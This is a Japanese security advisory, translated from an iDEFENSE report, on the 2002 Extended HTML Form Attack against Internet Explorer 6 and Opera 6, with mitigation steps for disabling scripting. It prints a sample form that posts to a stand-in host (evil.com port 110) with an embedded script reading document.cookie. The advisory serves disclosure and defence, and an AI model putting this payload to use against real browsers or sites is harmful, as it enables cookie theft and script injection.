複数のウェブブラウザがHTMLフォーム攻撃に対して脆弱〜Multiple Web Browsers Contain HTML Form Attack Flaw〜 | ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト]
2017.09.25(月)

複数のウェブブラウザがHTMLフォーム攻撃に対して脆弱〜Multiple Web Browsers Contain HTML Form Attack Flaw〜

国際 海外情報

◆概要:
 悪意のあるスクリプトをブラウザ上で実行するために、HTTPではないプロトコルを実行しているサーバに、HTMLフォームの内容を送信する攻撃に対して、複数のウェブブラウザに脆弱性が存在している。

 攻撃は、ファイルやローカルファイルシステムに保存されているクッキーの内容を表示するなど、CSS(client side scripting)言語が可能なことをすべて実行できるとされている。例えば、下記コードは、拡張HTMLフォームを利用した攻撃を使って、クッキーの内容を表示するHTMLフォームである。

<form name="evil_form" method="post" action=" http://evil.com:110/ "enctype="multipart/form-data">
<textarea name="eostest"> user <script>alert(document.cookie)</script>quit </textarea><input type="submit" value="Submit"></form>

 上記の「action」属性は、フォーム入力が送信される場所を指定している。フォームの入力は、通常は入力を処理するウェブサーバーのCGIスクリプトに送られる。しかし上記の例では、入力がevil.comのPOPメールサーバー(TCPポート110)に送られるようになっている。

 POPなどの非HTTPサービスには、提出された要求の内容をエコーバックするものがある。この場合、ウェブブラウザはエコーされた内容を解釈しようとする。全エラーメッセージはテキストとして解釈されるが、アクティブスクリプト機能が使用可能になっていると、< SCRIPT > < / script >タグ間の内容がJavaScriptとして解釈される。この例では、evil.comドメインのクッキーの内容を示すポップアップウィンドウが表示される。

◆情報ソース:
・Eye On Security
http://eyeonsecurity.net/papers/Extended-HTML-Form-Attack-doc.zip ), Jan.26, 2002
・BugTraq (Obscure, obscure@eyeonsecurity.net ),
Feb. 06, 2002・iDEFENSE 研究所 Feb. 12, 2002

◆分析:
(iDEFENSE 米国)この攻撃は、ローカルファイルやクッキーの内容を攻撃者に転送するために使用される可能性がある。

 上記の例で JavaScriptが送信されるためには、まず被害者にフォームの「提出」(submit)ボタンをクリックさせる必要があるが、より高度なスクリプト機能を使えば、ページを表示するだけでコードの提出が自動的に実行されるようにすることができる。ハンドル名「Obscure」を使っているある人物が、本件に関するに自動化されたPOC(Proof of Concept)を、http://eyeonsecurity.net/advisories/showMyCookie.html で公開している。

◆検知方法:
 マイクロソフト社のInternet Explorer 6.0およびそれ以前のバージョンおよびOpera Software ASA社のOpera 6.0およびそれ以前のバージョンに脆弱性があると報告されている。

◆リカバリー方法:
 アクティブスクリプト機能を無効にすると、この問題を防止できる。InternetExplorerでアクティブスクリプト機能を無効にするには、次の手順に従う。(翻訳者注釈: IEでのアクティブスクリプト解除手順は英語版と日本語版で違うため、ここでは具体的手順は翻訳せず、原文のまま残しておりますのでご了承願います)

1. Select the menu choice Tools then Internet Options.
2. Select the Security tab.
3. Highlight the Internet zone and click the Custom Level button.
4. Scroll down in the list to the Scripting heading and choose
"Disable" for the Active scripting subheading.
5. Confirm the selection by clicking the OK buttons twice.

OperaでJavaScriptを無効にするには、次の手順に従う。

1. [ファイル] の [初期設定] を選択するか、Alt+Pを押す。
2. [マルチメディア]を選択する。
3. [JavaScript]にある[JavaScriptを有効にする]の選択を解除する。

 ただし、「アクティブスクリプト機能」を無効にすると、この機能に依存しているウェブページが、作成者が意図したように表示されない場合がある。
◆ベンダー情報:
 ベンダーのパッチはこのレポートの作成時点では発表されていない。Obscureによると、マイクロソフト社とオペラソフトウェア社は、この脆弱性について報告を受け、現在パッチの作成を行っているようである。マイクロソフト社は、この問題のパッチをリリースする予定である。また、オペラ社はOperaブラウザの次のリリースに本件に関するパッチを組み込む予定である。

※この情報はアイ・ディフェンス・ジャパン
 ( http://www.idefense.co.jp/ )より提供いただいております。
 情報の内容は以下の時点におけるものです。
 【17:01 GMT、02、12、2002】

《ScanNetSecurity》

Scan PREMIUM 会員限定

もっと見る

Scan PREMIUM 会員限定特集をもっと見る

Scan BASIC 会員限定記事

もっと見る

Scan BASIC 会員限定記事特集をもっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)

もっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)特集をもっと見る

カテゴリ別新着記事

国際 カテゴリの人気記事 MONTHLY ランキング

  1. Cisco のセキュリティビジネスに市場が多大な関心を寄せる理由(The Register)

    Cisco のセキュリティビジネスに市場が多大な関心を寄せる理由(The Register)

  2. フィッシング詐欺支援サービスの価格表(The Register)

    フィッシング詐欺支援サービスの価格表(The Register)

  3. 「Tor 禁止令」を解く Facebook、暗号化の onion アクセスポイントを宣伝~これからは暗号化通信も完全に OK(The Register)

    「Tor 禁止令」を解く Facebook、暗号化の onion アクセスポイントを宣伝~これからは暗号化通信も完全に OK(The Register)

  4. 豪大臣、サイバー戦争の国際法整備を ASEAN 諸国に求める(The Register)

  5. 総資産 2,303 万 3,975 ドル、逮捕された Alphabay 運営者のずさんなセキュリティ管理 (The Register)

  6. 「ゴリラズ・アプリ」の暗号解読で求人の一次審査を免除(英ジャガー・ランドローバー)

  7. Black Hat、DEF CON、BSides 開催でホテルがビジネスセンターを真剣に閉鎖(The Register)

  8. AWS 設定ミスでウォールストリートジャーナル購読者情報他 220 万件流出(The Register)

  9. iCloudからの女優のプライベート画像流出事件、容疑者がフィッシングの罪を大筋で認める

  10. 9月18日「大規模日本Webサイト攻撃活動」の成果(Far East Research)

全カテゴリランキング

★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★
<b>★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★</b>

経営課題としてサイバーセキュリティに取り組む情報システム部門や、研究・開発・経営企画に携わる方へ向けた、創刊19年のセキュリティ情報サービス Scan PREMIUM を、貴社の事業リスク低減のためにご活用ください。

×